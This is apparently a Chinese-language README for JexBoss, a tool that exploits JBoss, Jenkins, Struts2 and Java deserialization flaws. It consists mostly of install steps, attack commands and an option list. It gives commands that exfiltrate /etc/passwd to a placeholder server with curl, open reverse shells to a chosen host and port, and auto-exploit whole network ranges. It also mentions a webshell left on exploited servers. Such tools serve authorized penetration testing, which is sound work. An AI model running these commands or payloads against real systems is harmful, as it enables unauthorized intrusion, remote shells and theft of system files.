JexBoss 是一款用于测试和利用 JBoss 应用服务器及其他 Java 平台、框架、应用等漏洞的工具。
要安装最新版本的 JexBoss,请使用以下命令:
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
或者:
从以下地址下载最新版本:https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
如果您使用的是带有 Python 2.6 的 CentOS,请安装 Python2.7。 在 CentOS 上使用 Collections Software scl 安装 Python 2.7 的示例:
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash
如果您使用 Windows,可以使用 Git Bash 来运行 JexBoss。请按照以下步骤操作:
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
该工具及漏洞利用程序已针对以下内容进行开发和测试:
利用向量包括:
$ python jexboss.py

$ python jexboss.py -u http://192.168.0.26:8080

$ python jexboss.py -h
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt


在利用 JBoss 服务器后,您可以使用 JexBoss 自带的命令 shell,或者使用以下命令执行反向连接:
jexremote=YOUR_IP:YOUR_PORT
示例:
Shell>jexremote=192.168.0.10:4444

在利用 Java 反序列化漏洞(应用反序列化、Servlet 反序列化)时,默认选项为:建立反弹 Shell 连接或发送要执行的命令。
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
可选参数:
-h, --help 显示此帮助信息并退出
--version 显示程序版本号并退出
--auto-exploit, -A 自动发送漏洞利用代码(只有在您获得授权时才使用!!!)
--disable-check-updates, -D
禁用两个更新检查:1) 被利用服务器上的 webshell 在 http://webshell.jexboss.net/jsp_version.txt 进行的更新检查;2) jexboss 客户端在 http://joaomatosf.com/rnp/releases.txt 进行的更新检查
-mode {standalone,auto-scan,file-scan}
操作模式(默认:standalone)
--app-unserialize, -j
检查 HTTP 参数中的 Java 反序列化漏洞(例如 javax.faces.ViewState、oldFormData 等)
--servlet-unserialize, -l
检查 Servlet(如 Invoker 接口)中的 Java 反序列化漏洞
--jboss 仅检查 JBOSS 向量。
--jenkins 仅检查 Jenkins CLI 向量。
--jmxtomcat 检查 Tomcat 中的 JMX JmxRemoteLifecycleListener(CVE-2016-8735 和 CVE-2016-8735)。注意:默认不会检查此项。
--proxy PROXY, -P PROXY
使用 HTTP 代理连接目标 URL(例如 -P http://192.168.0.1:3128)
--proxy-cred LOGIN:PASS, -L LOGIN:PASS
代理认证凭据(例如 -L name:password)
--jboss-login LOGIN:PASS, -J LOGIN:PASS
JBoss 登录用户名和密码,用于利用 JBoss 5 和 JBoss 6 的管理控制台(默认:admin:admin)
--timeout TIMEOUT 等待连接超时的秒数(默认 3)
独立模式:
-host HOST, -u HOST 要检查的主机地址(例如 -u http://192.168.0.10:8080)
高级选项(在利用应用层的 Java 反序列化时使用):
--reverse-host RHOST:RPORT, -r RHOST:RPORT
在利用应用层 Java 反序列化漏洞时用于反弹 Shell 的远程主机地址和端口(目前仅适用于 *nix 系统)(例如 192.168.0.10:1331)
--cmd CMD, -x CMD 发送要在目标上运行的特定命令(例如 curl -d @/etc/passwd http://your_server)
--windows, -w 指定命令适用于 Windows 系统(cmd.exe)
--post-parameter PARAMETER, -H PARAMETER
指定要查找并注入序列化对象的参数(例如 -H javax.faces.ViewState 或 -H oldFormData (<- Hi PayPal =X) 或其他)(默认:javax.faces.ViewState)
--show-payload, -t 打印生成的载荷。
--gadget {commons-collections3.1,commons-collections4.0,groovy1}
指定用于自动生成载荷的 Gadget 类型。(默认:commons-collections3.1;对于 Jenkins 为 groovy1)
--load-gadget FILENAME
从文件提供您自己的 Gadget(一个原始模式下的 Java 序列化对象)
--force, -F 强制将 Java 序列化 Gadget 发送到 -u 参数指定的 URL。这将使用多种格式(例如 RAW、GZIPED 和 BASE64)以及不同的 Content-Type 发送载荷。
自动扫描模式:
-network NETWORK 要检查的网络,使用 CIDR 格式(例如 10.0.0.0/8)
-ports PORTS 用逗号分隔的端口列表,用于检查每个主机(例如 8080,8443,8888,80,443)
-results FILENAME 存储自动扫描结果的文件名
文件扫描模式:
-file FILENAME_HOSTS 包含要扫描的主机列表的文件名(每行一个主机)
-out FILENAME_RESULTS
存储文件扫描结果的文件名